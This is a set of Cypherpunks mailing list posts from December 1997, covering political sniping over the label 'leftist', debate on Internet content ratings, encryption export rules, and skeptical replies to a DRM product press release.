To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <v0300780cb0ab2a8bef6c@[204.254.21.129]>
Message-ID: <3485D7B7.E444A846@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Declan, apparently having missed the fab 50's, seems to be enjoying his
use of the "leftist" word lately.  Since this seems to mean quite
different things to different persons, perhaps Mr. McCullagh can define
his terms.  What exactly is a "leftist" in 1997, in his opinion?

    Jamie

Declan McCullagh wrote:
>Other fave leftist censorship causes:

   [snip]
> 
>  [snip] (check out the Center for Media Education, a
> leftist group if I ever heard of one. 

-- 
James Packard Love
Consumer Project on Technology
P.O. Box 19367 | Washington, DC 20036 
voice 202.387.8030  | fax 202.234.5176 
love@cptech.org | http://www.cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Dec 1997 09:37:08 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.LNX.3.95.971203175851.581C-100000@is-chief>
Message-ID: <Pine.GSO.3.95.971203171413.17621T-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 3 Dec 1997, Jim Burnes wrote:
> http://www.self-gov.org/lp-quiz.shtml


According to your answers, your political philosophy is libertarian. 

Libertarian 

Libertarians are self-governors in both personal and economic matters. 
They believe government's only purpose is to protect people from coercion
and violence.  They value individual responsibility, and tolerate economic
and social diversity.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Thu, 4 Dec 1997 07:12:38 +0800
To: "Daniel J. Weitzner" <declan@well.com
Subject: Re: FC: The tensions between Internet advocacy groups
In-Reply-To: <v0300780ab0aa35f992ac@[204.254.22.15]>
Message-ID: <v03110730b0ab8aa53f98@[204.91.138.219]>
MIME-Version: 1.0
Content-Type: text/plain





Danny -

I think where the free expression groups differ fundamentally
from the position CDT has set out is that we do not believe
that the Net should be dominated by rating systems.

We recognize that parents have some legitimate concerns about
the availability of objectionable material. But we think that
there are alternatives to widespread ratings -- including
learning more about the benefits of the Internet -- that
are preferable.

We also recognize that there is a risk that Congress will try to
pass CDA II. But we believe that it will be difficult for such
an act to survive Constitutional review after Reno v. ACLU.
We are perhaps more concerned that an architecture of ubiquitous
ratings will provide, as Barry Steinhardt said well at the summit,
a blueprint for legislation that would be upheld.

What exactly does CDT plan to say to the enthusiastic member
of Congress who backs your rating plan and wants to see it
enforced with sanctions?

What are your own views about a filtering search engine
that block access to 99% of the references concerning the
"American Red Cross"?

A diversity of rating systems is the not the same as a
diversity of viewpoints. It is rather a diversity of
fears and prejudices. I hope we never see the day
when national organizations are routinely called upon to
draw up lists of what they do not want others to see.
I suspect that those who are concerned about the
future of free expression share this view.


Marc Rotenberg
EPIC










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Koro <ksahin@best.com>
Date: Thu, 4 Dec 1997 10:40:09 +0800
To: David Honig <honig@otc.net>
Subject: Re: CDT and the Threat of Gov't Intervention
In-Reply-To: <3.0.5.32.19971203090005.007d2340@206.40.207.40>
Message-ID: <34860E94.1430@best.com>
MIME-Version: 1.0
Content-Type: text/plain



David Honig wrote:
> 
> At 12:56 PM 12/3/97 -0700, Tim May wrote:
> >
> >
> >And there are some who want "mislabelling" made a crime. Thus, if I claim
> >that my site and my words are suitable for children, and someone (like
> >Janet Reno) disagrees, I could be charged with "misrepresentation."
> >
> 
> To pluck that string, I'm occasionally developing an essay which teaches
> kids about
> encryption.. building up to strong product-ciphers by exploring what you
> can do with
> iterating simple operations, and how they affect the data.  At the end of
> the lesson they learn
> that giving this document to a foreign-born friend would make them ITAR
> criminals.

I hear it's not ITAR anymore.  Now it's an EAR violation.  

Of course, ITAR was more fun.  If you violated that law under ITAR you
can proudly wear the title of International Arms Trafficker.

> Subversive online cypherpunk comic books?  If I could draw.

Get your Ultra-Top-Secret 1024-bit Decoder Ring kiddies!
-- 
					KORO





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 4 Dec 1997 09:35:30 +0800
To: James Love <love@cptech.org>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3485F5DD.459EB83C@cptech.org>
Message-ID: <Pine.LNX.3.95.971203175851.581C-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 3 Dec 1997, James Love wrote:

> Declan McCullagh wrote:
> > 
> > Jamie, if you're seriously confused about the differences between
> > left-wing and right-wing groups I can help educate you, perhaps with a few
> > rules of thumb. But I suspect that you really don't want a serious answer.
> 
>     I didn't think the big government fetish answer was very good.  I
> don't want to put words in your mouth.  But if you think you can really
> explain what constitutes a leftist, in your view, I'm ready to read it.
> 
>     Jamie

Man!  Talk about burning bandwidth on politics 101.  The problem
is that you're both stuck using Orwellian newspeak for political
classification.  If people only have a single dimension to 
classify political beliefs then there can't be very many
beliefs.

Multidimensional political beliefs systems don't hash into the
one dimensional left/right axis very well.   The collision
rate is too high.

For a somewhat better map at least check out the Nolan chart.

http://www.self-gov.org/lp-quiz.shtml

enjoy

jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Thu, 4 Dec 1997 07:30:08 +0800
To: James Love <love@cptech.org>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3485D7B7.E444A846@cptech.org>
Message-ID: <Pine.LNX.3.95.971203181646.154B-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 3 Dec 1997, James Love wrote:

> Declan, apparently having missed the fab 50's, seems to be enjoying his
> use of the "leftist" word lately.  Since this seems to mean quite
> different things to different persons, perhaps Mr. McCullagh can define
> his terms.  What exactly is a "leftist" in 1997, in his opinion?

Jamie, I may have missed the fab 50s but I suspect you spent a little too
much time in the psychadelic 60s. In 1997, a leftist can best be defined
as a big government fetishist. :)

Tell your boss Ralph Nader hi for me...

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Thu, 4 Dec 1997 08:10:21 +0800
To: declan@well.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.LNX.3.95.971203181646.154B-100000@vorlon.mit.edu>
Message-ID: <3485ED4B.21881E76@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> Jamie, I may have missed the fab 50s but I suspect you spent a little too
> much time in the psychadelic 60s. In 1997, a leftist can best be defined
> as a big government fetishist. :)

   A "big government fetishist" is cute, but it seems fairly
non-specific.  Are moral majority types leftists?  Are the supporters of
the Department of Commerce leftists?  Are supporters of a bloated
defense department leftists?  Can't get enough of that CIA funding
leftists?  IMF supporters are leftists?  FED lovers are leftists? 
Groups that lobby for higher crop supports are leftists?  S&L bail out
supporters are leftists?  Supporters of GATT are leftists?  Are
supporters of more NIH funding leftists?  (how about the PhRMA support
for this?)  Supporters of aggressive new government programs to define
(and enforce) new Intellectual Property rights are leftists?

    I think the term "leftists" must mean something more than "a big
government fetishist."  Frankly, I know of few persons who are
consistently advocates of big government, but I know lots of groups,
many certainly not leftists, who have their favorite government
programs.

   Maybe, however, you think all these folks are leftists?  

   Jamie

-- 
James Packard Love
Consumer Project on Technology
P.O. Box 19367 | Washington, DC 20036 
voice 202.387.8030  | fax 202.234.5176 
love@cptech.org | http://www.cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 6 Dec 1997 00:49:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: 'Off' the parking pigs! (fwd)
Message-ID: <199712040043.SAA15787@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 03 Dec 1997 14:56:10 -0600
> From: TruthMonger <tm@dev.null>
> Subject: Re: 'Off' the parking pigs!

>   In the jury's humble opinion, the prosecution didn't prove its case.
> This is no problem for the government. They have the deep pockets 
> required to prosecute as many times as needed to refine their attempts
> to manipulate the minds of the jurors, or to get lucky and have a few
> members of a split jury vote to convict because they don't want to
> blow their trip to the Stones' concert.

No the police only get one shot. If they try to prosecute the individual on
the same charge *after* a jury has rendered a verdict then that is double
jeopardy.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 4 Dec 1997 08:20:20 +0800
To: declan@well.com
Subject: Re: Censorial leftists (Was: Interesting article)
Message-ID: <1.5.4.32.19971203235643.006f3164@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan wrote:

>Jamie, I may have missed the fab 50s but I suspect you spent a little too
>much time in the psychadelic 60s. In 1997, a leftist can best be defined
>as a big government fetishist. :)

Oh my, this appears to suggest "leftist" means "liberal," the
evil twin of evil libertarianism.

Some, one or two or least, leftists are far right of the hard right in
opposing big government, and even beyond that in opposing
big business (Time-Warner, say, or ACLU), and ever further 
oppositon to big ambitions for big heads prescribing nostrums for 
the nation and the world under universalizing creeds of liberty, 
freedom and, well you know how liberals and kissing cousin 
libertarians lip and gum.

Say, how do you distinguish between the two libers in matters
of wanting to tell the world what's good for it, wanting to run
it just so? Wasn't it the '60s radicals who pronounced pox
on feverish liberals and rabid libertarians for their righteous
complicity in gov, com, edu, etc., their common inability to
forgo wanting to run things from the top, to hang out with the
most influential, ahem, each other's dear friends, the "leaders"?

Fabulous Ralph Naders, all.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian W. Buchanan" <brian@smarter.than.nu>
Date: Thu, 4 Dec 1997 11:13:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Superdistribution development/release
In-Reply-To: <v03007800b0abc492abcc@[168.161.105.216]>
Message-ID: <Pine.BSF.3.96.971203185703.204B-100000@thought.calbbs.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 3 Dec 1997, Declan McCullagh wrote:

> 
> Here an incentive: if anyone breaks this, I'll write an article about it
> and another profiling the person who does.
> 
> When you have this kind of "encryption" scheme running on untrusted
> hardware to which the user has access, it's doomed to fail. Even if it's
> custom hardware, it'll probably be broken, but it'll just take longer.

Should be relatively trivial to break the encryption, since it can't be
over 40-bit (or 56-bit if the company joined the kiss-ass alliance).
Probably just as easy or easier to disassemble the software or do some
creative tweaking of Windows DLLs to intercept data.  Custom hardware is
probably out due to cost and distribution problems, and even with it, it's
still possible to intercept data between the hardware and the software, or
the software and the OS.

-- 
Brian Buchanan                                      brian@smarter.than.nu

No security through obscurity!  Demand full source code!
4.4BSD for the masses - http://www.freebsd.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Thu, 4 Dec 1997 08:39:06 +0800
To: declan@well.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.LNX.3.95.971203181646.154B-100000@vorlon.mit.edu>
Message-ID: <3485F534.18116EDD@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> Jamie, I may have missed the fab 50s but I suspect you spent a little too
> much time in the psychadelic 60s. 

   
In fact, there was quite a bit of red baiting in the 60's.  We (this
country) actually fought a war in Vietnam, in part because many American
political leaders didn't want to be accused of being soft on communism. 
Red baiting, making non substantive and usually irrelevant accusations
about one's values (and loyalties), was a popular sport then, for
certain demagogues.  Nixon was good at this, in both decades.

    In the late 60s and early 70's, there was also a time when anyone
with a necktie was in danger of being called a fascist.  Much of this
wasn't anything to be proud of either.

    The 90's don't seem to me to be a period when labels from the early
part of this century are the most telling.  I'm often surprised to find
what people really think or want, once you move away from older battles
or stereotypes.  I think its safe to say that stalin-like communism
isn't an appealing future for anyone I know.  

     I find these increasingly frequent references to "leftists" or
"fellow travelers" (something I recall from an earlier thread) a bit
odd.  One one sense, it is a form of content labeling, designed to get
people to filter out or ignore certain information.  On the other hand,
it seems designed to polarize communities that often have much in
common, even as they disagree on other points.  

    Mr. McCullagh isn't the only one who does this.  I'm sure I do this
in my own way, from time to time.  But perhaps from having lived through
more decades (and fads) than Mr. McCullagh, I increasingly find this
counter productive.  
    
   Jamie

-- 
James Packard Love
Consumer Project on Technology
P.O. Box 19367 | Washington, DC 20036 
voice 202.387.8030  | fax 202.234.5176 
love@cptech.org | http://www.cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Thu, 4 Dec 1997 08:34:01 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.GSO.3.95.971203153856.17621N-100000@well.com>
Message-ID: <3485F5DD.459EB83C@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> Jamie, if you're seriously confused about the differences between
> left-wing and right-wing groups I can help educate you, perhaps with a few
> rules of thumb. But I suspect that you really don't want a serious answer.

    I didn't think the big government fetish answer was very good.  I
don't want to put words in your mouth.  But if you think you can really
explain what constitutes a leftist, in your view, I'm ready to read it.

    Jamie


-- 
James Packard Love
Consumer Project on Technology
P.O. Box 19367 | Washington, DC 20036 
voice 202.387.8030  | fax 202.234.5176 
love@cptech.org | http://www.cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 4 Dec 1997 08:44:04 +0800
To: cypherpunks@cyberpass.net
Subject: Superdistribution development/release
Message-ID: <v04002712b0aba8bd0101@[204.134.5.28]>
MIME-Version: 1.0
Content-Type: text/plain



Yet Another Watermark...

Anyone wanna take bets on how long before it's broken, or at least easily
pirated?


Cheers,
Bob Hettinga

--- begin forwarded text


From: "Blair Anderson" <blair@technologist.com>
To: "dcsb@ai.mit.edu" <dcsb@ai.mit.edu>
Cc: "Peter Cassidy" <pcassidy@triarche.com>, "Brad Cox" <bcox@gmu.edu>
Date: Thu, 04 Dec 97 12:58:05 +1300
Priority: Normal
MIME-Version: 1.0
Subject: Superdistribution development/release
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: "Blair Anderson" <blair@technologist.com>

Silver Bullet for Digital Publishing Arrives TragoeS Announces General
Availability of RigthsMarket(TM)

 PR Newswire - December 02, 1997 16:10
 TRGO. %ENT %MLM V%PRN P%PRN

CALGARY, Dec. 2 /CNW-PRN/ - RightsMarket hits the bull's-eye business
opportunity of the 21st century - electronic commerce through digital
publishing on the Internet for the $71.3 billion (US) publishing
industry (Value-Line, April 11/May 20/May 30, 1997).

``RightsMarket harnesses powerful economic forces that will show people
the money in digital document publishing on the Internet,'' stated
Lindsay Moir, President of TragoeS Inc., during the company's news
conference November 18th at COMDEX `97, Las Vegas. ``With RightsMarket
suppliers of digital documents will be paid and 99% of the revenue loss
due to piracy will be eliminated.''

TragoeS has successfully implemented the Superdistribution paradigm in
RightsMarket. Superdistribution tracks usage rather than possession and
is recognised as the best approach to selling digital property (digital
versions of text, data, knowledge, pictures, music, videos, etc.) on the
Internet. Pricing of RightsMarket is $50,000 (US) plus integration,
support fees, and annual license renewal fees.  Unique RightsMarket
features include:

Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the
digital document (financial newsletter, educational test, minutes from a
court proceeding, sensitive health care records, etc.) goes, no matter
how it gets there, whether it is used and then subsequently
redistributed, etc. the document is always encrypted.  It is never left
decrypted and exposed even while it is being viewed.

Rights Marketing `back office' (RightsServer) - Allows marketers to set
the terms and conditions of use for the digital property.  Features
include support for the newly announced international Digital Object
Identifier (DOI) publishing standard.

Fault Tolerant Middleware (RightsConnection) - Provides a secure link to
the `back office' from the user's desktop.  As well, there is no
requirement to be connected full time to the Internet in order to view
the digital document.

Metering and Enforcement (RightsClient) - Provides decryption services,
meters use, and sends usage information to the RightsServer via secure
middleware.

Acrobat(TM) Trusted Tool plug-ins - Makes Acrobat, the world's most
popular digital publishing tool from Adobe Systems Incorporated(C),
ready for prime time digital document economic transactions on the
Internet. With a plug-in for the Exchange and Reader, customers can
encrypt documents and have a trusted player for viewing content.

Shane Hayes, TragoeS' Vice President, Customer Implementation will be
presenting at The Digital Object Identifier (DOI) Technology Forum
Wednesday, December 10, 1997 in New York City.  The DOI is an important
emerging international standard for identification of published material
online. It forms the foundation layer of a set of technologies that will
enable commerce in published material on the Internet so that copyright
is protected, content creators can be compensated for their work, and
consumers can benefit from technology that is sophisticated, yet
seamless and easy to use.  The International DOI Foundation (IDF), a
non-profit organization established to administer the DOI standard, is
looking to technology vendors to implement the necessary technology
components and integrate them into secure electronic publishing
solutions for the IDF's constituency: the worldwide publishing industry
and beyond.

In April 1998 in Washington, DC, TragoeS Inc. will participate in a
three day conference sponsored by the Library of Congress, the
Association of American Publishers (AAP), and the University of
Virginia. The conference is titled ``Exploring the New Media - The
Paradigm Shift in Publishing: >From Book to Bytes''.  TragoeS Vice
President, Marketing and Sales, Fred Yee, will sit on a panel discussing
`Solutions to Copyright Protection in Cyberspace'.

TragoeS Inc., established in 1993, is a Canadian high technology company
specializing in software products and services that support financial
transactions.  Its product, RightsMarket is the solution for the
protection, metering and payment of digital intellectual property.
TragoeS is a public company reporting in Alberta and Ontario and is
listed on the Canadian Dealing Network (CDN TRGO).

The Canadian Dealing Network or other regulatory authorities have
neither approved nor disapproved of the information contained herein.
SOURCE:  TragoeS Inc.

     /CONTACT: Lindsay Moir, President, TragoeS Inc., (403) 571-1835,
Fax:
(403) 571-1838, Email: moirl(at)tragoes.com, Website: www.tragoes.com,
www.rightsmarket.com or Mr. Peter Taylor, Investor Relations, (416)
368-0121,
Fax: (416) 368-9175/
     (TRGO.)


Blair Anderson  (Blair@technologist.com)

International Consultant in Electronic Commerce,
Encryption and Electronic Rights Management

   "Techno Junk and Grey Matter"  (HTTP://WWW.NOW.CO.NZ [moving servers,
currently inactive])
   50 Wainoni Road, Christchurch, New Zealand

          phone 64 3 3894065
          fax     64 3 3894065

Member 	Digital Commerce Society of Boston

---------------------------- Caught in the Net for 25 years
----------------------------



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 4 Dec 1997 10:01:40 +0800
To: cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <v03102815b0ab622f5822@[207.167.93.63]>
Message-ID: <yTw6ge41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Predictably, the feministas squealed like stuck pigs (or is it pigesses?).

Sows. As in "your mama".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 4 Dec 1997 12:17:02 +0800
To: Robert Hettinga <cypherpunks@cyberpass.net
Subject: Re: Superdistribution development/release
In-Reply-To: <v04002712b0aba8bd0101@[204.134.5.28]>
Message-ID: <3.0.3.32.19971203195235.006e7318@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 07:27 PM 12/3/97 -0500, Robert Hettinga wrote:
>Yet Another Watermark...

[snip]

>From: "Blair Anderson" <blair@technologist.com>

[snip]

>Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the
>digital document (financial newsletter, educational test, minutes from a
>court proceeding, sensitive health care records, etc.) goes, no matter
>how it gets there, whether it is used and then subsequently
>redistributed, etc. the document is always encrypted.  It is never left
>decrypted and exposed even while it is being viewed.

[snip]

>Metering and Enforcement (RightsClient) - Provides decryption services,
>meters use, and sends usage information to the RightsServer via secure
>middleware.

"It is never left decrypted and exposed" but the software "Provides
decryption services."  Doesn't this sound oxymoronic?  These guys need
help.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNIYpAcJF0kXqpw3MEQIZ3QCfdwaVPxlD0B94hELCctja2VYScEQAnjut
IzSWyLdnnbougFr6qKA+1WYZ
=1mk9
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Thu, 4 Dec 1997 12:16:50 +0800
To: cypherpunks@toad.com
Subject: About the way of regulating Japanese encryption export
Message-ID: <19971204035452.2105.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



About the way of regulating Japanese encryption export 


Permission shouldn't be necessary. ( For example, in such cases as 
the dealings of providing the technology of the public wisdom. )
And, if corresponding is considered, Export permission isn't needed. 


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 4 Dec 1997 11:04:54 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Superdistribution development/release
In-Reply-To: <v04002712b0aba8bd0101@[204.134.5.28]>
Message-ID: <199712040255.VAA24642@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v04002712b0aba8bd0101@[204.134.5.28]>, on 12/03/97 
   at 07:27 PM, Robert Hettinga <rah@shipwright.com> said:

>It is never left
>decrypted and exposed even while it is being viewed.

LOL!! I guess they require the use of that crypto-crainial inplant.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNIYbSo9Co1n+aLhhAQJSYAP8CXf75V38EUy8+gwKPfrWoz6YcxpZzf1b
Vu32s8C0RkfGhv7QgG0h1f1mfsp5R+QuuLaDPG/XaKI3sgnPjRxRQVngBIjXaQ9V
wIQr+M/jM9ZhFzKLv+yTcWVkmwFAHAZXYSf43cPwOkd9SoclAVO8VNaU3Db2hIua
zqhfjlk2oos=
=mNsr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 4 Dec 1997 13:01:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Transcript of Gore's remarks at "Censorware Summit"
Message-ID: <3.0.32.19971203205653.00699b08@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




I just had an incorrect thought that I've decided to share with everyone:

The reason Al Gore (and the others) are focusing on helping All the Little
Children, is that this is the only group they can offer assistance to in
the U.S. who would accept it.   

Everyone else is stocking up on guns & ammo, waiting for The Big One.
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 4 Dec 1997 11:22:11 +0800
To: James Love <love@cptech.org>
Subject: Re: Censorial leftists (Was: Interesting testicle)
In-Reply-To: <Pine.LNX.3.95.971203181646.154B-100000@vorlon.mit.edu>
Message-ID: <34861C6C.67C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



James Love writed: 
> Declan McCullagh wronged:
> > Jamie, I may have missed the fab 50s but I suspect you spent a little too
> > much time in the psychadelic 60s. In 1997, a leftist can best be defined
> > as a big government fetishist. :)
> 
>    A "big government fetishist" is cute, but it seems fairly
> non-specific.  Are moral majority types leftists?  Are the supporters of
> the Department of Commerce leftists?  Are supporters of a bloated
> defense department leftists?  Can't get enough of that CIA funding
> leftists?  IMF supporters are leftists?  FED lovers are leftists?
> Groups that lobby for higher crop supports are leftists?  S&L bail out
> supporters are leftists?  Supporters of GATT are leftists?  Are
> supporters of more NIH funding leftists?  (how about the PhRMA support
> for this?)  Supporters of aggressive new government programs to define
> (and enforce) new Intellectual Property rights are leftists?

Declan McCullagh replied:
> Jamie, if you're seriously confused about the differences between
> left-wing and right-wing groups I can help educate you, perhaps with a few
> rules of thumb. But I suspect that you really don't want a serious answer.

  That's my cue...prepare for a deadly non-serious answer.

  The left-wing and right-wing extremests have finally moved so
far off of center that they have completed the circle of the Tao,
moving in opposite directions, and will shortly be exactly the
same for a brief instant, before continuing on to become the
polar opposite of what they previously were.
{They will, however, each remained as convinced as ever that the
 'other' is totally wrong in their beliefs, despite the fact that
 the 'other' will now hold beliefs exactly in tune with their
 own 'old' beliefs.}

  Actually, recent discussions about the need for the Republicans
and Democrats to work toward redefining themselves so that there
is actually a difference between them indicates that society and
government have reached a stage where it is getting very difficult
for members of an 'individualist' society to keep pretending that
there is a difference between 'discrimination' fascists and 'equality'
fascists, 'free-market' fascists and 'communist' fascists, 'moral'
fascists and 'immoral' fascists.
  Right...let's throw out the bums who are passing laws to 'force'
us to imprison Jews and elect bums who will pass laws to 'force'
us to imprison Jew-haters.

  Nazi - "I don't put them in the ovens, I just turn on the gas."
  Fascist - "I don't freeze them to death, I just turn off the gas."

LISTEN UP!!! (I'LL TYPE SLOWLY...)
  Faster horses, older whiskey, younger women, more money.

  Democracy is a political system designed to put Fascism in the
hands of the people.
  Fascism is a political system designed to take Democracy out of
the hands of the people and into the hands of the Machine.

  Money and Guns...

Guns - "If we were caught hiding Jews, the Gestapo would send us
to prison with them."
  "If we spoke out against the actions of the Israelies, the 
Justice Department would arrest us as members of a hate group."
  "If we resisted the Nazi Party, we were hounded from our jobs 
and reviled by our neighbors."
  "If we supported the Communist Party, we were hounded from our
jobs in Hollywood and reviled by our neighbors."
  "If we called John Gilmore a cocksucker, we were forcefully
unsubscribed from the CypherPunks mailing list."

Money
  "Those with the most money can buy the most guns."

NEWS FLASH!!!
  Whether you are forced to 'do right' or forced to 'do no wrong'
will depend on whether the 'leftists' or the 'rightists' have the
most money and guns.

NEWS FLASH ADDENDUM!!!
  Those seeking to 'save' you are likely to afflict as much damage
to your rights and freedoms as those seeking to 'oppress' you.

NOTE TO BOY SCOUTS!!!
  If an old lady doesn't want to cross the street, that is an act
of 'passive aggression' and you have a right to use as much force
as necessary to get her across the street.

  Is there a difference in the degree of 'dead' between a person
shot by a left-hander and one shot by a right-hander?
  Do you have a preference for having an individual, a government
or a corporation as your dictator/oppressor?
  Is it of great concern to you to be allowed to 'vote' as to
which person gives you an unneeded prostrate exam?

  By the time everyone reaches agreement on the proper definition
of 'leftist' and 'rightist', it will be time to turn to the person
chained to you in the dark, dank prison cell, and ask them what 
their defenition of 'imprisonment' is.

Don't take any wooden dictators...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Remo Pini" <rpini@rpini.com>
Date: Fri, 5 Dec 1997 22:33:59 +0800
To: cypherpunks@toad.com
Subject: Re: More microsoft monopoly::Re: NT 4.0 Option Pack released
In-Reply-To: <Pine.SUN.3.96.971203104659.18987C-100000@beast.brainlink.c om>
Message-ID: <3.0.2.32.19971203210753.00b32480@193.192.247.149>
MIME-Version: 1.0
Content-Type: text/plain



At 09:23 03.12.97 -0800, you wrote:
>
>>Another message claims VC++ requires IE as well -- can anyone confirm
>>this?
>>
>
>You must have IE (3+) installed in order to use MS's visual java, FYI.
>
You must have IE installed in order to use MS's Developer Network Resources
CD and soon for all products using their "new" info-browser (IDE's of VC++,
VJ++, whatever++...)


-----------------------------------------------------
Fate favors the prepared mind. (from "Under Siege 3")
-----------------------------------------------------
Remo Pini                         T: +41  1 350 28 88
Pini Computer Trading             N: +41 79 216 15 51
http://www.rpini.com/                 E: rp@rpini.com
